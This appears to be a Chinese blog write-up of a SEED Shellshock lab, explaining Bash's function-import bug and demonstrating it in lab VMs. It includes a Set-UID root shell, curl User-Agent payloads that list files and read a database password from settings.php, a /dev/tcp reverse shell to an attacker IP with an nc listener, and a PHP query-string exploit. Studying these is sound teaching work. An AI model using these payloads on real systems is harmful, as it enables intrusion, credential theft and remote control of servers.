shell函数

  1. 在操作系统中,shell程序是一个命令解释器,他从终端窗口或控制台读取并执行命令,shell提供了用户和操作系统之间的接口。
  2. 目前存在着许多种不同类型的shell,包括sh(Bourne shell)、bash(Bource-again shell)、csh(C shell)、zsh(Z shell)和Windows PowerShell等。
  3. Bash是Linux操作系统中最受欢迎的shell程序之一,Bash中的Shellshock漏洞与内部定义的函数有关,这些函数被称为shell函数。
root@VM:~# foo(){ echo "inside function";}
root@VM:~# declare -f foo
foo ()
{ echo "inside function"
}
root@VM:~# foo
inside function
root@VM:~# unset -f foo
root@VM:~# declare -f foo
  • 上面第一个命令定义了一个shell函数。
  • 一个已经定义的shell函数可以使用declare命令打印出来。
  • 为了使用shell函数,只需要在命令行中输入函数名称。
  • 一旦不需要某个shell函数,可以使用unset命令来删除它。
  1. 将shell函数传递给子进程
  • Shellshock漏洞涉及进程如何把函数传递给它的子shell进程。

    1. 直接在父shell进程中定义一个函数,并将它输出给子进程,子shell进程就可以拥有这个函数了。
    [07/05/20]seed@VM:~$ foo() { echo "hello world"; }
    [07/05/20]seed@VM:~$ export -f foo
    [07/05/20]seed@VM:~$ bash
    [07/05/20]seed@VM:~$ foo
    hello world
    
    1. 第二方式是定义一个包含特殊内容的shell变量,foo变量以一对圆括号开头,后面跟着一句由两个大括号包含的命令,对于前面这些内容来说,这些圆括号、大括号没有任何意义,它们仅仅是一个变量的内容。
    • 但是如果输出这个变量,然后再运行一个子Bash,就会发现在子shell中foo不再是一个简单的shell变量,而是变成了一个shell函数。
    [07/05/20]seed@VM:~/code$ foo='() { echo "hello world"; };'
    [07/05/20]seed@VM:~/code$ echo $foo
    () { echo "hello world"; };
    [07/05/20]seed@VM:~/code$ declare -f foo
    foo ()
    { echo "hello world"
    }
    [07/05/20]seed@VM:~/code$ unset -f foo
    [07/05/20]seed@VM:~/code$ declare -f foo
    [07/05/20]seed@VM:~/code$ export foo
    [07/05/20]seed@VM:~/code$ bash_shellshock
    [07/05/20]seed@VM:~/code$ echo $foo[07/05/20]seed@VM:~/code$ declare -f foo
    foo ()
    { echo "hello world"
    }
    
    • 当一个shell变量被export命令标记时,它将作为环境变量传递给子进程。如果子进程中执行的程序又是一个Bash程序,则子进程的shell程序将环境变量转换成它自己的shell变量。在这个转换过程中,当Bash发现一个以一对圆括号开始的环境变量时,它就将该环境变量转换成一个shell函数,而非一个shell变量。
  1. Shellshock漏洞
[07/05/20]seed@VM:~/code$ foo='() { echo "hello world";}; echo "extra";'
[07/05/20]seed@VM:~/code$ echo $foo
() { echo "hello world";}; echo "extra";
[07/05/20]seed@VM:~/code$ export foo
[07/05/20]seed@VM:~/code$ bash_shellshock
extra
[07/05/20]seed@VM:~/code$ echo $foo[07/05/20]seed@VM:~/code$ declare -f foo
foo ()
{ echo "hello world"
}
  • 父进程可以通过环境变量向子进程shell传递函数定义,当子进程的Bash将环境变量转换成函数时,Bash应当将变量中的指令解析出来,而不是执行它们。
  • 定义一个shell变量foo,用一个看上去函数定义的字符串作为变量foo的值,并且在结尾的大括号后面添加一个额外的命令echo,用export命令标记该shell变量,这样它会作为环境变量传递给子进程,当一个子进程的Bash被创建时,子shell将会解析该环境变量,把它转换为子函数定义,在解析过程中,由于Shellshock漏洞,Bash将执行大括号后面的额外命令。
  1. Bash源代码中的错误
if(privmode==0 && read_but_dont_execute ==0 && STREQN("() {",string,4){...
parse_and_excute(temp_string,name,SEVAL_NONINT|SEVAL_NOHIST);
}
  • Bash检查环境变量是否以"(){"开头,以确定是否需要把它转换为函数,一旦发现这样的字符串,Bash将“=”替换成空格从而将环境变量变成一个函数定义,生产下面的字符串:
foo(){echo "hello world";};echo "extre";
  • 然后Bash调用parse_and_execute()函数来解析函数定义,然而parse_and_execute()函数的功能太过强大,它不仅仅解析函数定义,还可以解析和运行其他的shell指令。如果字符串只是一个函数定义,该函数只会解析它而不会执行它,但如果该字符串包含用分号(;)隔开的多个shell命令,则parse_and_execute()函数会解析和运行每一条命令。
  1. Shellshock漏洞的利用
  • 必须满足两个条件:
    1. 目标进程必须运行Bash
    2. 攻击者只能通过环境变量把攻击数据传给目标进程,如果不是这样的话,Shellshock漏洞则不会被激发。

利用ShellShock攻击Set-UID程序

  1. 当一个root用户的Set-UID程序通过system()函数执行/bin/ls程序时,将会启动一个Bash进程,攻击者设计的环境变量将导致非授权的命令以root权限被执行。
  2. 准备有漏洞的程序
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>void main()
{setuid(geteuid());system("/bin/ls -l");
}
  • system()函数来执行来执行/bin/ls命令,system()函数实际上会使用fork()函数来创建子进程,然后使用execl()函数执行/bin/sh程序,最终请求shell程序执行/bin/ls。
  • 在Ubuntu16.04中,/bin/sh指向的是/bin/dash,因此system()函数只会调用/bin/dash,而这个程序是没有Shellshock漏洞的,因此需要修改链接,让/bin/sh指向有漏洞的bash_shellshock程序。
sudo ln -sf /bin/bash_shellshock /bin/sh
  • setuid(seteuid())函数把真是用户ID变为和有效用户ID一致,因为如果真实用户ID和有效用户ID不一致的话,Bash不会处理从环境变量处获得函数定义,因此不会受到Shellshock攻击。
  1. 编译并设置程序为root用户的Set-UID程序。
[07/05/20]seed@VM:~/codegcc -o vul vul.c
[07/05/20]seed@VM:~/codesudo chown root vul
[07/05/20]seed@VM:~/codesudo chmod 4755 vul
[07/05/20]seed@VM:~/code$ ./vul
total 12
-rwsr-xr-x 1 root seed 7420 Jul  5 07:40 vul
-rw-rw-r-- 1 seed seed  119 Jul  5 07:40 vul.c
  1. 基于Shellshock漏洞,可以构造一个函数声明,并将所选命令(/bin/sh)放在声明的最后,然后输出(export),再运行程序。
  • 在这里需要注意shell函数声明内部的空格缩进,否则易发生错误。
[07/05/20]seed@VM:~/code$ export foo='() { echo hello; }; /bin/sh'
[07/05/20]seed@VM:~/code$ ./vul
sh-4.2#
  • 当运行Set-UID程序时(vul)时,shell变量会变成子进程的环境变量,由于system()函数的原因,Bash会被调用,它检测到环境变量foo中存放一个函数声明,因此会解析该声明。
  • 由于解析逻辑中的漏洞,它最终会执行放在末尾的/bin/sh,可以看到在运行后,出现了一个#号提示符就说明我们已经获取到了root权限的shell。

利用Shellshock攻击CGI程序

  1. 通用网关接口(CGI)被Web服务器用来生成动态网页的可执行程序,许多CGI程序时shell脚本,如果程序使用了Bash,那么它可能成为Shellshock的攻击目标。
  2. 该实验需要准备两台虚拟机:一个时攻击者,一个是目标服务器。
  • 首先用Bash脚本编写一个简单的CGI程序,它的作用仅仅是打印出“Hello World”。
  • 在CGI程序中使用有漏洞的bash_shellshock
#!/bin/bash_shellshockecho "Content-type: text/plain"
echo
echo
echo "Hello World"
  • 然后需要将该CGI程序放到目标服务器的/usr/lib/cgi-bin目录中,并将它的权限设置为775,该目录是Apache服务器的默认CGI目录。
seed@VM:/usr/lib/cgi-bin# sudo chmod 775 test.cgi
  • 为了从攻击者的机器上访问该CGI程序,有两种方法:

    1. 在浏览器中输入:
    http://192.168.137.128/cgi-bin/test.cgi
    
    1. 使用一个名为curl的程序,该程序是用来发送HTTP请求的命令行攻击:
    C:\Users\12586>curl http://192.168.137.128/cgi-bin/test.cgi
    Hello World
    
  1. Web服务器如何调用CGI程序

    1. 当用户向Apache服务器发送CGI请求时,Apache服务器会检查该请求,如果是一个CGI请求,Apache服务器会用fork()函数来新建一个进程,然后使用exec()函数族中的某个函数在新进程中执行CGI程序。
    2. 因为CGI程序以"#!/bin/bash_shellshock"开头,因此该程序是一个shell脚本,exec()函数实际上执行的是/bin/bash_shellshock,Bash会运行shell脚本。
    3. 出发Bash只是ShellShock攻击成功的条件之一,另一个重要的条件是攻击者必须通过环境变量为Bash程序提供输入。
    • 修改test.cgi程序如下:
    #!/bin/bash_shellshockecho "Content-type: text/plain"
    echo
    echo
    echo "Environment Variables"
    strings /proc/$$/environ
    
    • 最后一行指令"strings /proc//environ"能打印出一个进程的所有环境变量,Bash会将/environ"能打印出一个进程的所有环境变量,Bash会将/environ"能打印出一个进程的所有环境变量,Bash会将替换成当前进程的ID。
    • 然后,通过curl来访问该CGI程序,使用-v选项,curl会打印出HTTP请求和来自服务器的响应。
    C:\Users\12586> curl -v http://192.168.137.128/cgi-bin/test.cgi
    *   Trying 192.168.137.128...
    * Connected to 192.168.137.128 (192.168.137.128) port 80 (#0)
    > GET /cgi-bin/test.cgi HTTP/1.1
    > Host: 192.168.137.128
    > User-Agent: curl/7.47.0
    > Accept: */*
    >
    < HTTP/1.1 200 OK
    < Date: Sun, 05 Jul 2020 13:44:00 GMT
    < Server: Apache/2.4.18 (Ubuntu)
    < Vary: Accept-Encoding
    < Transfer-Encoding: chunked
    < Content-Type: text/plain
    <
    Environment Variables
    HTTP_HOST=192.168.137.128
    HTTP_USER_AGENT=curl/7.47.0
    HTTP_ACCEPT=*/*
    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    ....
    
    • CGI程序打印出CGI进程的所有环境变量,其中一个环境变量HTTP_USER_AGENT,它的值和请求中的Uset-Agent完全一样,因此可以知道,Apache服务器从HTTP请求头中获得User-Agent信息,并将它赋值给一个名为HTTP_USER_AGENT的环境变量。
    • 当Apache服务器创建一个子进程来执行CGI程序时,它会传递该变量以及其他一些环境变量给CGI程序。
    • 使用命令行工具curl,该命令"-A"选项可以用来设置请求的User-Agent字段。
    C:\Users\12586>curl -A "test" -v http://192.168.137.128/cgi-bin/test.cgi
    *   Trying 192.168.137.128...
    * TCP_NODELAY set
    * Connected to 192.168.137.128 (192.168.137.128) port 80 (#0)
    > GET /cgi-bin/test.cgi HTTP/1.1
    > Host: 192.168.137.128
    > User-Agent: test
    > Accept: */*
    >
    < HTTP/1.1 200 OK
    < Date: Sun, 05 Jul 2020 13:53:53 GMT
    < Server: Apache/2.4.18 (Ubuntu)
    < Vary: Accept-Encoding
    < Transfer-Encoding: chunked
    < Content-Type: text/plain
    <Environment Variables
    HTTP_HOST=192.168.137.128
    HTTP_USER_AGENT=test
    ...
    
    • 可以看HTTP请求的User-Agent字段被设置为"test",HTTP_USER_AGENT环境变量也获得了一样的内容。
  2. 实施Shellshock攻击
    1. 获取服务器目录信息
    • 攻击者需要做的是为了User-Agent字段构造一个字符串,以触发Bash中的错误解析逻辑,目标是让CGI程序执行选择的命令。
    • 首先尝试一个/bin/ls指令,看能否获取服务器某个目录中的内容,在这个命令之前,还需要指定Apache返回数据的类型,因为Apache会受到CGI程序打印出的任何内容,因此可以通过Content-type: text/plain来告诉Apache服务器数据的类型。
    C:\Users\12586>curl -A "() { echo hello; }; echo Content-type: text/plain; echo; /bin/ls -l"  http://192.168.137.128/cgi-bin/test.cgi
    total 4
    -rwxrwxr-x 1 seed seed 121 Jul  5 09:43 test.cgi
    
    • 从运行结果来看,/bin/ls命令得到了执行。
    • 在Ubuntu中,Web服务器以www-data用户ID运行,这使得程序的权限非常有限,利用该权限不能控制服务器,但却能造成一些破坏。
    1. 盗取密码
    • 当一个Web应用连接后台数据库(MySQL时),它需要提供登录密码,这些密码通常是直接写在程序中的,或者存储在配置文件中,远程用户无法读取这些密码,但是如果让服务器运行指令,就可以获得这些密码。
    • Ubuntu虚拟机中的Web服务器运行了几个Web应用,它们中的大多数都是使用数据库的,可以从下面这个文件获得密码:/var/www/CSRF/Elgg/elgg-config/settings.php,一旦获得了密码,就可以直接登录到数据库,盗取或者改动信息。
        C:\Users\12586>curl -A "() { echo hello; }; echo Content-type: text/plain; echo; /bin/cat /var/www/CSRF/Elgg/elgg-config/settings.php"  http://192.168.137.128/cgi-bin/test.cgi
    <?phpdate_default_timezone_set('UTC');
    global $CONFIG;
    if (!isset($CONFIG)) {$CONFIG = new \stdClass;
    }
    $CONFIG->dbuser = 'elgg_admin';/*** The database password** @global string $CONFIG->dbpass*/
    $CONFIG->dbpass = 'seedubuntu';
    
    1. 创建反向shell
    • 通过shellshock漏洞在服务器中运行的最理想的命令时shell程序,因为shell程序允许用户输入任何命令,如果将/bin/bash放在Shellshock攻击中,Bash的确会在服务器端被执行,但是却无法控制它,不能给他提供命令,也无法看到它的输出。
    • 反向Shell是让程序把它的输入和输出都交由远程计算机的用户控制,一般在受害者的机器中运行该Shell,从攻击者的机器中接受输入,同时也将输出发送到攻击者的机器中,反向shell为攻击者提供了一种在已被攻破的机器中运行命令的便捷方法。
    • 攻击者可以使用netcat命令来运行一个TCP服务器,该服务器能够答应出客户端发来的所有信息,并向客户端发送用户在本地服务器中输入的信息。
    nc -lv 9090
    
    • 上述nc命令会阻塞等待并连接,现在服务器上直接运行下面的Bash程序:
    /bin/bash -i > /dev/tcp/192.168.137.129/9090 0<&1 2>&1
    
    • 该命令实在被攻破的服务器上执行的命令:

      • /bin/bash -i意味着使用shell的可交互模式,shell在这个模式下会提供提示符。
      • /dev/tcp/192.168.137.129/9090,使得shell的输出设备被重定向至TCP连接,连接到192.168.137.129的9090端口,在UNIX系统中,stdout的文件描述符是1.
      • 0<&1:文件描述符0代表标准输入设备,这个选项告诉系统将标准输出设备也用作标准输入设备。由于标准输出已经重定向到TCP连接,因此Shell程序会从同一个TCP连接获得输入。TCP连接是一个双向设备,既可以往里面写数据,也可以从中读取数据。
      • 2>&1:文件描述符2代表标准错误,这是错误也被重定向到TCP连接。
    • 总结:/bin/bash -i > /dev/tcp/192.168.137.129/9090 0<&1 2>&1在服务器上开启一个Bash shell,他的输入来自TCP连接,输出又被传给同一个TCP连接。
    • 回到攻击者的计算机可以看到反向shell创建成功:
    Attacker@VM:/$ nc -lv 9090
    Listening on [0.0.0.0] (family 0, port 9090)
    Connection from [192.168.137.128] port 9090 [tcp/*] accepted (family 2, sport 47964)
    [07/05/20]seed@VM:~$
    
    • 在Shellshock攻击中创建反向Shell

      1. 攻击者先运行
        Attacker@VM:/$ nc -lv 9090
      
      1. 然后再启动一个控制台运行下面给命令向目标服务器的CGI发起恶意请求:
         Attacker@VM:/$ curl -A "() { echo hello; }; echo Content-type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/192.168.137.129/9090 0<&1 2>&1"  http://192.168.137.128/cgi-bin/test.cgi
      

      3.从结果来看,一旦curl指令被执行,攻击指令也会再服务器上被运行,这将导致CGI程序触发一个Bash shell,该Bash shell会链接到192.168.137.129的9090端口,也就是攻击者的计算机,攻击者的nc程序会接受这个连接,并显示由远端服务器的CGI触发的Bash程序送来的Shell提示符,这表反向Shell成功了。

      Attacker@VM:/$ nc -lv 9090
      Listening on [0.0.0.0] (family 0, port 9090)
      Connection from [192.168.137.128] port 9090 [tcp/*] accepted (family 2, sport 47966)
      bash: cannot set terminal process group (2389): Inappropriate ioctl for device
      bash: no job control in this shell
      www-data@VM:/usr/lib/cgi-bin$ id
      id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)
      
      1. 结果表明,可以服务器上以www-data身份运行任何命令了,虽然不是一个特殊用户。

针对PHP的远程攻击

  1. 对于shellshock的漏洞,php满足两个条件:

    • Php有system()函数可以用来执行外部命令。
    • 用户数据需要被作为环境变量传入给PHP程序,因此程序调用system()函数时,环境变量被进一步传递给运行的Bash程序。
  2. 再Apach服务器中,PHP可以通过三种方式运行:Apache组件、CGI和Fast CGI。以CGI运行PHP会与之前例子有相同的效果,但是以Fast CGI和Apache组件运行,从Apache服务器获得的数据无法通过环境变量交给PHP程序。
  3. 如果再调用system()之前,PHP程序根据用户的输入设置了环境变量,那么它还是存在Shellshock漏洞的。
<?php
function getParam()
{$arg = NULL;if(isset($_GET["arg"]) && !empty($_GET["arg"])){$arg = $_GET["arg"];}return $arg;
}
$arg = getParam();
putenv("ARG=$arg");
system("strings /proc/$$/environ | grep ARG");
?>
  • 将该文件放到/var/www/html目录下,修改文件权限为775.
  • 通过攻击者的计算机执行如下指令:
Attacker@VM:/$ curl http://192.168.137.128/test.php?arg="()%20%7B%20echo%20hello;%20%7D;%20/bin/cat%20/var/www/secret.txt"
THIS IS SECRET
  • 对于arg参数来说,除了包含一个shell函数定义外,还加上额外的命令,该命令是"arg=() { echo hello;}; /bin/cat /var/www/secret.txt"的URL编码,该命令的目的是读取secret.txt文件的内容,当system()函数开启shell程序解析环境变量时,在shell函数定义末尾的额外指令将被执行。

Shellshock相关推荐

  1. 实验三 ShellShock 攻击实验

    一. 实验描述 2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发.在本实验中,学生需要亲手重现攻击来理解该漏洞,并回答一些问 ...

  2. 实验三 ShellShock 攻击实验

    ShellShock 攻击实验 沙雨济 一. 实验描述 2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发.在本实验中,学生需 ...

  3. linux 鬼精灵漏洞,鬼精灵Grinch:比Bash破壳(shellshock)更严重的Linux漏洞

    安全研究人员在Linux操作系统中发现了一个名为鬼精灵(Grinch)的漏洞,该漏洞存在于linux系统中,和Bash破壳(shellshock)漏洞一样可以在受害者机器上获得最高权限--Root. ...

  4. SEED实验系列:ShellShock 攻击实验

    实验楼课程原文链接:https://www.shiyanlou.com/courses/230,内容能够得到你的喜欢,我们感到非常高兴的,也十分欢迎您分享转载,转载请保留实验楼课程原文链接. 一. 实 ...

  5. 《Linux内核原理与设计》第十一周作业 ShellShock攻击实验

    <Linux内核原理与设计>第十一周作业 ShellShock攻击实验 分组: 和20179215袁琳完成实验及博客攥写 实验内容:   Bash中发现了一个严重漏洞shellshock, ...

  6. 关于bash的shellshock漏洞

    这一漏洞的描述如下: Shellshock (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CV ...

  7. Shellshock漏洞复现

    Shellshock漏洞复现 bash说明 漏洞原理 漏洞复现 环境说明 漏洞条件 漏洞复现 bash说明 Bash是Unix shell的一种.1989年发布第一个正式版本,原先是计划用在GNU操作 ...

  8. 详解ShellShock 漏洞复现原理,内附ShellShock的修复方法

    本篇文章适合初学ShellShock漏洞阅读,如果您已经学习过ShellShock漏洞,可以直接略过.本篇是我们悬镜安全实验室成员之一Kr0iNg's 在学习ShellShock时分享的一点心得,仅供 ...

  9. 【安全】Shellshock漏洞

    Shellshock是之前网络安全学习中,一直遗漏掉的一个安全漏洞.今天来补充学习一下. Shellshock利用了linux环境变量解析问题,进而可以进行针对正常应用启动shell时进行劫持.通过该 ...

  10. LINUX漏洞复现篇之ShellShock漏洞

    简介 ShellShock漏洞, 中文称为"破壳漏洞", 是Unix Shell中的安全漏洞 在一些网络服务器的部署中, 使用bash来处理某些请求, 允许攻击者通过低版本的bas ...

最新文章

  1. 微服务注册发现集群搭建——Registrator + Consul + Consul-template + nginx
  2. HihoCoder - 1174 拓扑排序·一
  3. 【积少成多】vi的进阶使用
  4. B 站 Up主自制秃头生成器,圆你一个秃头梦?
  5. Python生成1000个随机字符的字符串,统计每个字符的出现次数(choices函数和Counter的使用)
  6. Srs之HttpApi内部调用流程
  7. ubuntu安装 Samba实现局域网文件共享 win10访问
  8. EXCEL中关于角度的输入、输出及转换计算技巧
  9. idea中translation插件显示网络异常(试一试)
  10. fi sap 凭证冲销 稅_SAP FI 系列 (019) - 会计凭证的冲销和反记账
  11. 本地IDEA连接服务器的Redis报错处理
  12. Java实验1:个人银行账户管理系统总结
  13. 樊登读书赋能读后感_樊登读书会本周末视频解读新书:《赋能》突破深井,打造优质团队...
  14. 西部之旅之------相机的选择
  15. 为何中国人比美国德国人更反感拼爹?
  16. java商城后台图片上传功能_淘淘商城图片上传功能的实现
  17. 彻底弄懂@Controller 、@Service、@Component
  18. 桌上有一空盘,最多允许存放一只水果。爸爸只向盘中放一个苹果,妈妈只向盘中放一个桔子,儿子专等吃盘中的桔子,女儿专等吃苹果。用wait、signal操作实现爸爸、妈妈、儿子、女儿四个并发进程的同步。
  19. android设置手机震动强度,android 控制震动强度
  20. 华硕灵焕3装鸿蒙系统,神操作:学生拿iPhone换3部手机后竟然

热门文章

  1. A Dual-Microphone Algorithm That Can Cope With Competing-Talkers Scenarios
  2. Windows组策略屏蔽U盘有妙法(图)
  3. HTML5 仿QT 示例Drag and Drop Robot 换装机器人
  4. 怎么看待华为HCIE新改版取消面试环节?
  5. 兰州市第五医院内六病区感染科简介及部分疾病健康教育
  6. 挖坑记录~lucene基础
  7. P2P打洞java源代码
  8. 处理使用node-gpy时遇到的Can't find msbuild.exe错误
  9. SUSE Linux Enterprise Server 15 SP3 Install
  10. 校园O2O商铺平台-前台展示系统